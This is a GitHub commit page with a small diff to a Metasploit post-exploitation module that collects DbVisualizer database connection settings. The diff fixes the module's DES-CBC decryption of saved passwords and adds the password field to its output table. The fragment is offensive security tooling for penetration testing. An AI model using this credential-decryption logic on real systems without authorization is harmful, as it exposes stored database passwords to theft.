Skip to content

Commit 3ac5088

Browse files
committed
Add decryption.final for proper padding
1 parent 2756c73 commit 3ac5088

File tree

1 file changed

+5
-4
lines changed

1 file changed

+5
-4
lines changed

modules/post/multi/gather/dbvis_enum.rb

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77
require 'msf/core/auxiliary/report'
88
require 'openssl'
99
require 'digest/md5'
10+
require 'base64'
1011

1112
class Metasploit3 < Msf::Post
1213

@@ -204,7 +205,7 @@ def parse_new_config_file(raw_xml)
204205
report_host(:host => db[:Server]);
205206
end
206207

207-
db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid], db[:Password]]
208+
db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid], db[:Password] ]
208209
end
209210
return db_table
210211
end
@@ -283,7 +284,7 @@ def parse_old_config_file(raw_xml)
283284
report_host(:host => $1.to_s)
284285
end
285286
end
286-
db_table << [ db[:Alias] , db[:Type] , db[:Url], db[:Userid] ]
287+
db_table << [ db[:Alias] , db[:Type] , db[:Url], db[:Userid], db[:Password] ]
287288
end
288289
return db_table
289290
end
@@ -301,10 +302,10 @@ def decrypt_password(enc_password)
301302
enc_password = Rex::Text.decode_base64(enc_password)
302303
dk, iv = get_derived_key
303304
des = OpenSSL::Cipher.new('DES-CBC')
305+
des.decrypt
304306
des.key = dk
305307
des.iv = iv
306-
307-
des.update(enc_password)
308+
password = des.update(enc_password) + des.final
308309
end
309310

310311
def get_derived_key

0 commit comments

Comments
 (0)